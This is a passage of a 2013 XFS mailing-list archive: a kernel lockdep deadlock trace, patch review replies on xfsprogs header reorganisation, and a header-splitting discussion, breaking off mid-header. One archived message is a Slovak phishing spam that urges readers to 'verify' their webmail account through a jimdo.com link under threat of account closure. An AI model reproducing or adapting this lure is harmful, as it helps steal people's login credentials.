(sb_internal){.+.+.+}, at: [] xfs_trans_alloc+0x1f/0x35 [ 823.172146] [ 823.172146] but task is already holding lock: [ 823.172146] (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 [ 823.172146] [ 823.172146] which lock already depends on the new lock. [ 823.172146] [ 823.172146] [ 823.172146] the existing dependency chain (in reverse order) is: [ 823.172146] [ 823.172146] -> #1 (&(&ip->i_lock)->mr_lock){+++++.}: [ 823.172146] [] __lock_acquire+0x345/0xa11 [ 823.172146] [] lock_acquire+0x88/0x17e [ 823.172146] [] _raw_spin_lock+0x47/0x74 [ 823.172146] [] __mark_inode_dirty+0x171/0x38c [ 823.172146] [] __set_page_dirty+0x5f/0x95 [ 823.172146] [] mark_buffer_dirty+0x58/0x12b [ 823.172146] [] __block_commit_write.isra.17+0x64/0x82 [ 823.172146] [] block_write_end+0x2b/0x53 [ 823.172146] [] generic_write_end+0x42/0x9a [ 823.172146] [] xfs_vm_write_end+0x60/0xbe [ 823.172146] [] generic_file_buffered_write+0x140/0x20f [ 823.172146] [] xfs_file_buffered_aio_write+0x10b/0x205 [ 823.172146] [] xfs_file_aio_write+0xad/0xec [ 823.172146] [] do_sync_write+0x60/0x87 [ 823.172146] [] vfs_write+0x9c/0x189 [ 823.172146] [] SyS_write+0x49/0x81 [ 823.172146] [] sysenter_do_call+0x12/0x32 [ 823.172146] [ 823.172146] -> #0 (sb_internal){.+.+.+}: [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 [ 823.172146] [] __lock_acquire+0x345/0xa11 [ 823.172146] [] lock_acquire+0x88/0x17e [ 823.172146] [] __sb_start_write+0xad/0x177 [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 [ 823.172146] [] xfs_inactive+0x129/0x4a3 [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 [ 823.172146] [] evict+0x8e/0x15d [ 823.172146] [] iput+0xc4/0x138 [ 823.172146] [] dput+0x1b2/0x257 [ 823.172146] [] __fput+0x140/0x1eb [ 823.172146] [] ____fput+0xd/0xf [ 823.172146] [] task_work_run+0x67/0x90 [ 823.172146] [] do_notify_resume+0x61/0x63 [ 823.172146] [] work_notifysig+0x1f/0x25 [ 823.172146] [ 823.172146] other info that might help us debug this: [ 823.172146] [ 823.172146] Possible unsafe locking scenario: [ 823.172146] [ 823.172146] CPU0 CPU1 [ 823.172146] ---- ---- [ 823.172146] lock(&(&ip->i_lock)->mr_lock); [ 823.172146] lock(sb_internal); [ 823.172146] lock(&(&ip->i_lock)->mr_lock); [ 823.172146] lock(sb_internal); [ 823.172146] [ 823.172146] *** DEADLOCK *** [ 823.172146] [ 823.172146] 1 lock held by dirstress/5276: [ 823.172146] #0: (&(&ip->i_lock)->mr_lock){+++++.}, at: [] xfs_ilock+0x100/0x1f1 [ 823.172146] [ 823.172146] stack backtrace: [ 823.172146] CPU: 0 PID: 5276 Comm: dirstress Not tainted 3.11.0+ #5 [ 823.172146] Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 [ 823.172146] c1c26060 c1c26060 da34fd58 c14ba216 da34fd78 c14b7317 c15f171b da34fdb4 [ 823.172146] dcaa1440 00000001 dcaa18b0 00000000 da34fde4 c106e972 dcaa1888 00000001 [ 823.172146] da34fdb4 c1057e0f 00000000 00003f61 c1c28660 00000000 dcaa1888 dcaa18b0 [ 823.172146] Call Trace: [ 823.172146] [] dump_stack+0x16/0x18 [ 823.172146] [] print_circular_bug+0x1b8/0x1c2 [ 823.172146] [] validate_chain.isra.35+0xfc7/0xff4 [ 823.172146] [] ? sched_clock_local.constprop.3+0x39/0x131 [ 823.172146] [] ? sched_clock_cpu+0x8f/0xe2 [ 823.172146] [] __lock_acquire+0x345/0xa11 [ 823.172146] [] ? __lock_acquire+0x36a/0xa11 [ 823.172146] [] lock_acquire+0x88/0x17e [ 823.172146] [] ? xfs_trans_alloc+0x1f/0x35 [ 823.172146] [] __sb_start_write+0xad/0x177 [ 823.172146] [] ? xfs_trans_alloc+0x1f/0x35 [ 823.172146] [] ? xfs_trans_alloc+0x1f/0x35 [ 823.172146] [] ? xfs_ilock+0x100/0x1f1 [ 823.172146] [] xfs_trans_alloc+0x1f/0x35 [ 823.172146] [] xfs_inactive+0x129/0x4a3 [ 823.172146] [] ? trace_hardirqs_on+0xb/0xd [ 823.172146] [] ? _raw_spin_unlock_irq+0x27/0x36 [ 823.172146] [] xfs_fs_evict_inode+0x6c/0x114 [ 823.172146] [] evict+0x8e/0x15d [ 823.172146] [] iput+0xc4/0x138 [ 823.172146] [] dput+0x1b2/0x257 [ 823.172146] [] __fput+0x140/0x1eb [ 823.172146] [] ____fput+0xd/0xf [ 823.172146] [] task_work_run+0x67/0x90 [ 823.172146] [] do_notify_resume+0x61/0x63 [ 823.172146] [] work_notifysig+0x1f/0x25 [ 824.015366] Clocksource tsc unstable (delta = 486645129 ns) [ 825.324019] XFS (sdb4): Mounting Filesystem [ 825.743317] XFS (sdb4): Ending clean mount [ 827.223193] XFS (sdb4): Mounting Filesystem [ 827.668493] XFS (sdb4): Ending clean mount [ 837.524673] XFS (sdb4): Mounting Filesystem [ 837.986097] XFS (sdb4): Ending clean mount From tinguely@sgi.com Thu Sep 5 16:21:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 28E007CBF for ; Thu, 5 Sep 2013 16:21:40 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 034A8304070; Thu, 5 Sep 2013 14:21:39 -0700 (PDT) Message-ID: <5228F5E3.2050908@sgi.com> Date: Thu, 05 Sep 2013 16:21:39 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 22/55] xfs: split out on-disk transaction definitions References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-23-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-23-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There's a bunch of definitions in xfs_trans.h that define on-disk > formats - transaction headers taht get written into the log, log > item type definitions, etc. Split out everything into a separate > file so that all which remains in xfs_trans.h are kernel only > definitions. > > Signed-off-by: Dave Chinner > --- xfsprogs equivalent of the for 3.12 kernel patch 07/50. Yeah, this patch syncs up to the kernel very nicely (this is where the sync started to deviate in the previous series). Minor log reservation differences in xfs_trans.h but we know they are addressed in future patches. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 16:26:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4AF787CBF for ; Thu, 5 Sep 2013 16:26:25 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 15454304070; Thu, 5 Sep 2013 14:26:25 -0700 (PDT) Message-ID: <5228F700.6070901@sgi.com> Date: Thu, 05 Sep 2013 16:26:24 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 23/55] xfs: introduce xfs_rtalloc_defs.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-24-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-24-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There are quite a few realtime device definitions shared with > userspace. Move them from xfs_rtalloc.h to xfs_rt_alloc_defs.h > so we don't need to share xfs_rtalloc.h with userspace anymore. > > This removes the final __KERNEL__ region from the XFS kernel > codebase. Yay! > > Signed-off-by: Dave Chinner > --- No change in this patch from previous post. Synced files look good. xfsprogs equivalent of the for 3.12 kernel patch 08/50. move shared items from xfs_rtalloc.h to xfs_format.h. xfs_rtalloc.h is now kernel-only, remove from xfsprogs. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 16:29:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DCB3C7CBF for ; Thu, 5 Sep 2013 16:29:47 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id A6F02304082; Thu, 5 Sep 2013 14:29:47 -0700 (PDT) Message-ID: <5228F7CB.20607@sgi.com> Date: Thu, 05 Sep 2013 16:29:47 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 24/55] xfs: introduce xfs_quota_defs.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-25-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-25-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There are a lot of quota flag definitions that are shared by user > and kernel space. Move them all to xfs_quota_defs.h so we can > unshare xfs_quota.h and remove the __KERNEL__ regions from it. > > Signed-off-by: Dave Chinner > --- This patch compares different from the previous series because of the new quota header entry. I compares cleanly. xfsprogs equivalent of the for 3.12 kernel patch 09/50. move remaining quota shared entries from xfs_quota.h to xfs_quota_defs.h - as mentioned in patch 20, xfs_quota.h is now kernel-only and removed. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 16:45:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E10EB7F4E for ; Thu, 5 Sep 2013 16:45:22 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8C2A08F8035; Thu, 5 Sep 2013 14:45:22 -0700 (PDT) Message-ID: <5228FB72.5040002@sgi.com> Date: Thu, 05 Sep 2013 16:45:22 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 25/55] libxfs: introduce xfs_trans_resv.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-26-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-26-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The log space reservation calculation code has been separated from > the core transaction code in kernelspace. THi smeans we can add it > here in preparation for removing xfs_trans.c to further reduce the > differences between kernel and usrspace files. > > Signed-off-by: Dave Chinner > --- xfsprogs equivalent of the for 3.12 kernel patch 11/50. This moves the transaction reservation value code from xfs_trans.[ch] to a new files xfs_trans_resv.[ch]. At the end of this patch, xfs_trans_resv.[ch] are the same as the kernel files. At this point, that is all that matters. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 16:51:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D97597F51 for ; Thu, 5 Sep 2013 16:51:29 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9AF78304039; Thu, 5 Sep 2013 14:51:29 -0700 (PDT) Message-ID: <5228FCE1.4020801@sgi.com> Date: Thu, 05 Sep 2013 16:51:29 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 26/55] libxfs: move transaction code to trans.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-27-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-27-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There is very little code left in xfs_trans.c. So little it is not > worthtrying to share this file with kernel space any more. Move the > code to libxfs/trans.c, and remove libxfs/xfs_trans.c. > > Signed-off-by: Dave Chinner > --- No change in this patch from previous post. xfsprogs equivalent of the for 3.12 kernel patch 11/50. change zone allocator/zone free to calloc/free, change function names to libxfs_trans_XX. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 16:55:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 420447F51 for ; Thu, 5 Sep 2013 16:55:02 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1AA00304070; Thu, 5 Sep 2013 14:55:02 -0700 (PDT) Message-ID: <5228FDB5.2010300@sgi.com> Date: Thu, 05 Sep 2013 16:55:01 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 27/55] xfs: move inode fork definitions to a new header file References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-28-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-28-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The inode fork definitions are a combination of on-disk format > definition and in-memory tracking and manipulation. They are both > shared with userspace, so move them all into their own file so > sharing is easy to do and track. This removes all inode fork > related information from xfs_inode.h. > > Do the same for the all the C code that currently resides in > xfs_inode.c for the same reason. > > Signed-off-by: Dave Chinner > --- No change from previous post. xfsprogs equivalent of the for 3.12 kernel patch 12/50. move remaining shared inode to new xfs_inode_fork.c/h. new function prototypes. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 17:05:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0829B7F4E for ; Thu, 5 Sep 2013 17:05:52 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id BCF538F8040; Thu, 5 Sep 2013 15:05:48 -0700 (PDT) Message-ID: <5229003C.7020806@sgi.com> Date: Thu, 05 Sep 2013 17:05:48 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 28/55] xfs: move unrealted definitions out of xfs_inode.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-29-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-29-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- User equivalent of the for Linux 3.12 kernel patch 13/50. This moves the last shared inode items to xfs_trans.h and removes the kernel-only xfs_inode.h. Fixes my concerns I had in previous post. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 17:27:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BEF027F4E for ; Thu, 5 Sep 2013 17:27:37 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9685F8F8033; Thu, 5 Sep 2013 15:27:37 -0700 (PDT) Message-ID: <52290559.10504@sgi.com> Date: Thu, 05 Sep 2013 17:27:37 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 29/55] xfs: introduce xfs_inode_buf.c for inode buffer operations References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-30-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-30-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The only thing remaining in xfs_inode.[ch] are the operations that > read, write or verify physical inodes in their underlying buffers. > Move all this code to xfs_inode_buf.[ch] and so we can stop sharing > xfs_inode.[ch] with userspace. > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 13/50. Did not change from previous posting. I am more okay with the patch this time. Moves the last shared inode items to xfs_trans.h and removes the kernel-only xfs_inode.h. Sources do not have icreate patch (kernel commit cca9f93a) which is not appropriate for xfsprogs...mentioned because it is a code difference. The uuid_copy being renamed to platform_uuid_copy() is not a biggy, xfs.h does the same in a define. Reviewed-by: Mark Tinguely From info@maxareality.sk Thu Sep 5 18:31:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2FB667F50 for ; Thu, 5 Sep 2013 18:31:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1BB4E304032 for ; Thu, 5 Sep 2013 16:31:26 -0700 (PDT) X-ASG-Debug-ID: 1378423884-04cb6c153dd86cc0001-w1Z2WR Received: from admin.maxareality.sk (admin.maxareality.sk [109.74.145.15]) by cuda.sgi.com with ESMTP id VCFntDMKdcljEduz for ; Thu, 05 Sep 2013 16:31:24 -0700 (PDT) X-Barracuda-Envelope-From: info@maxareality.sk X-Barracuda-Apparent-Source-IP: 109.74.145.15 Received: from localhost (localhost [127.0.0.1]) by admin.maxareality.sk (Postfix) with ESMTP id 7314812C0646; Fri, 6 Sep 2013 01:31:09 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at maxareality.sk Received: from admin.maxareality.sk ([127.0.0.1]) by localhost (MAXAreality.maxareality.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id aEAP8F1IdoGw; Fri, 6 Sep 2013 01:31:09 +0200 (CEST) Received: by admin.maxareality.sk (Postfix, from userid 33) id 7477F12C0363; Fri, 6 Sep 2013 01:23:47 +0200 (CEST) To: undisclosed-recipients:; Subject: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvatela=3B?= X-PHP-Originating-Script: 0:func.inc X-ASG-Orig-Subj: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvatela=3B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Date: Fri, 06 Sep 2013 01:23:46 +0200 From: WEBMAIL UPDATE 2013 Message-ID: <1585e1a9c5d2eeab4a6a025c230c3372@localhost> X-Sender: info@maxareality.sk User-Agent: RoundCube Webmail/0.3.1 X-Barracuda-Connect: admin.maxareality.sk[109.74.145.15] X-Barracuda-Start-Time: 1378423884 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, BSF_SC3_MV0164 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140374 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 2.00 BSF_SC3_MV0164 Custom rule MV0164 -- Vážení E-mail užívateľa; Prekročili ste 23432 boxy nastaviť svoje Webová služba / Administrátor, a budete mať problémy pri odosielaní a prijímať e-maily, kým znova overiť. Musíte aktualizovať kliknutím na odkaz nižšie a vyplňte údaje pre overenie vášho účtu Prosím, kliknite na odkaz nižšie alebo skopírovať vložiť do e-prehliadač pre overenie Schránky. http://webmailupdate2034213.jimdo.com/ Pozor! Ak tak neurobíte, budú mať obmedzený prístup k e-mailu schránky. Ak sa nepodarí aktualizovať svoj ​​účet do troch dní od aktualizácie oznámenia, bude váš účet natrvalo uzavretá. S pozdravom, System Administrator ® From david@fromorbit.com Thu Sep 5 18:54:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 467437F4E for ; Thu, 5 Sep 2013 18:54:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 23C878F8035 for ; Thu, 5 Sep 2013 16:54:28 -0700 (PDT) X-ASG-Debug-ID: 1378425265-04cbb02c3ed7cc60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id qhLKlnQnvVtNNAVd for ; Thu, 05 Sep 2013 16:54:26 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AokGADEZKVJ5LJ62/2dsb2JhbABbgweDR7lXhTWBJRd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG6cRaPSgeEHQOXdIowhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 09:24:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHjNM-0002kJ-Qi; Fri, 06 Sep 2013 09:54:12 +1000 Date: Fri, 6 Sep 2013 09:54:12 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h Message-ID: <20130905235412.GN12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h References: <1378382015-16026-1-git-send-email-david@fromorbit.com> <1378382015-16026-2-git-send-email-david@fromorbit.com> <20130905190407.GA603@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130905190407.GA603@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378425265 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140376 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 05, 2013 at 12:04:07PM -0700, Christoph Hellwig wrote: > On Thu, Sep 05, 2013 at 09:53:33PM +1000, Dave Chinner wrote: > > All of the buffer operations structures are needed to be exported > > for xfs_db, so move them all to a common location rather than > > spreading them all over the place. They are verifying the on-disk > > format, so xfs_format.h is as good a place as any. > > > > Don't move the dir2 buffer verifiers - they are already shared in a > > "central" place for all the dir2 and moving them just requires > > adding more include files... > > Please only keep the actual format in the _format.h headers and use > a different shared header for incore bits that can be shared. Fair enough - I thought about that, but then realised we don't really have any "global" shared header files that fit this purpose. The only two really are xfs_fs.h - which is used for ioctl interface definitions - and xfs_types.h which is used for type definitions, not structure instances... So I'm not really sure where we'd put something like this without creating a new header file, and I don't really want to do that, either. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Sep 5 19:08:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 706EE7F4E for ; Thu, 5 Sep 2013 19:08:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5C1FE8F8033 for ; Thu, 5 Sep 2013 17:08:00 -0700 (PDT) X-ASG-Debug-ID: 1378426077-04cbb02c3ed7d240001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Lgc6tdWzAa9zTaaQ for ; Thu, 05 Sep 2013 17:07:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AooGAIQbKVJ5LJ62/2dsb2JhbABbgweDR7lXhTWBJRd0giQBAQQBJxMcIwULCAMOCgklDwUlAyETh3wFunIWj0oHhB0Dl3SKMIc3gzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 06 Sep 2013 09:37:57 +0930 Received: from dave by dastard with local 